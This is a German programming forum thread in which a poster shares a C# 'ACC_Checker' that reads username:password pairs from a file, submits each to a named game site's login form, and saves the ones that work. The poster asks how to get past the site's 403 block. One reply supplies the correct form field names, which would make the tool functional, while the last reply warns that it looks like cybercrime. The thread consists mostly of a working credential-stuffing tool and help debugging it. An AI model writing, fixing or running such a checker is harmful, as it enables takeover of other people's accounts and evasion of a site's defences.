[FEHLER] Der Remoteserver hat einen Fehler zurückgegeben 403!



  • Wie kann ich diesen Fehler umgehen?

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.IO;
    using System.Net;
    
    namespace ACC_Checker
    {
        class Program
        {
            static void Main(string[] args)
            {
                Console.Title = "ACC_Checker_v4";
    
                //Existiert die Datei mit den Accounts?
                if (File.Exists("Accounts.txt"))
                {
                    //Accounts einlesen
                    Console.WriteLine("Lese accounts ein...");
                    List<Account> accounts = new List<Account>();
    
                    string[] lines = File.ReadAllLines("Accounts.txt");
    
                    foreach (string line in lines)
                    {
    
                        if (!string.IsNullOrWhiteSpace(line))
    
                        {
                            Console.WriteLine(line);
    
                            Account account = new Account();
                            string[] temp = line.Split(':');
                            account.id = temp[0];
                            account.pw = temp[1];
                            accounts.Add(account);
                        }
                    }
    
                    Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);
    
                    //Accounts überprüfen
                    Console.WriteLine("Überprüfe accounts...");
                    foreach (Account account in accounts)
                    {
                        try
                        {
                            Console.Write("Überprüfe account mit der ID: {0}", account.id);
                            string str = string.Format("login={0}&password={1}", account.id, account.pw);
    
                            HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://lariya2.com/index.php?s=login");
                            req.Method = "POST";
                            req.ContentType = "application/x-www-form-urlencoded";
    
                            using (var stream = req.GetRequestStream())
                            {
                                byte[] data = Encoding.ASCII.GetBytes(str);
                                stream.Write(data, 0, data.Length);
                            }
    
                            HttpWebResponse res = (HttpWebResponse)req.GetResponse();
    
                            using (StreamReader sr = new StreamReader(res.GetResponseStream()))
                            {
                                string response = sr.ReadToEnd();
    
                                if (response.Contains("Login erfolgreich"))
                                {
                                    Console.ForegroundColor = ConsoleColor.Green;
                                    Console.WriteLine(" [OKAY]");
                                    using (StreamWriter sw = new StreamWriter("working.txt", true))
                                    {
                                        sw.WriteLine("{0}:{1}", account.id, account.pw);
                                    }
                                }
                                else
                                {
                                    Console.ForegroundColor = ConsoleColor.Red;
                                    Console.WriteLine(" [NICHT OKAY]");
                                }
                            }
    
                            Console.ForegroundColor = ConsoleColor.Gray;
                        }
                        catch (System.Exception ex)
                        {
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("[Fehler] " + ex.Message);
                            Console.ForegroundColor = ConsoleColor.Gray;
                        }
    
                    }
                }
                else
                {
                    Console.WriteLine("Die Datei Accounts.txt existiert nicht.");
                }
    
                Console.ReadLine();
            }
    
            struct Account
            {
                public string id;
                public string pw;
            }
        }
    }
    

    Fehler: http://i.epvpimg.com/a1VJb.png

    [FEHLER] Der Remoteserver hat einen Fehler zurückgegeben: <403> Unzulässig.

    Gibts eine möglichkeit, diesen Fehler zu umgehen?



  • Hast du einen Account, der definitv funktioniert?
    Fehler 403 ist "forbidden", kann vieles bedeuten, ist aber ein Fehler der explizit vom Server generiert wird...
    Bist du sicher, dass die Post-Variablen so stimmen? (in der form steht was von userid und userpass)

    ... und was soll das überhaupt... 🙄



  • lagalopex schrieb:

    Hast du einen Account, der definitv funktioniert?
    Fehler 403 ist "forbidden", kann vieles bedeuten, ist aber ein Fehler der explizit vom Server generiert wird...
    Bist du sicher, dass die Post-Variablen so stimmen? (in der from steht was von userid und userpass)

    ... und was soll das überhaupt... 🙄

    Ja ich habe Accounts die funktionieren...
    Leider weiß ich nicht ob die Post variablen richtig sind.

    Und das Login-System

    <form method="POST" action="index.php?s=login">
    


  • niemand eine idee?



  • eXelence schrieb:

    lagalopex schrieb:

    Bist du sicher, dass die Post-Variablen so stimmen? (in der form steht was von userid und userpass)

    Leider weiß ich nicht ob die Post variablen richtig sind.

    Und das Login-System

    <form method="POST" action="index.php?s=login">
    

    Ist das dein Ernst?

    <form class="inhalt" action="index.php?s=login" method="POST">
    	<input class="input" name="userid" placeholder="Username" type="text" size="30" maxlength="30">
    	<input class="input" name="userpass" placeholder="Passwort" type="password" size="30" maxlength="40">
    	<a href="?s=register" class="bold">Noch keinen Account? Jetzt registrieren!</a><br>
    	<a href="?s=lostpw">Passwort vergessen?</a><br>
    	<div style="text-align:center;"><input type="submit" value="Login" class="button" name="loginbtn"> </div>
    </form>
    

    lagalopex schrieb:

    ... und was soll das überhaupt... 🙄

    ...



  • Also ich würde dem Threadersteller besser nicht helfen - das Tool sieht nach Cyberkriminalität aus.


Anmelden zum Antworten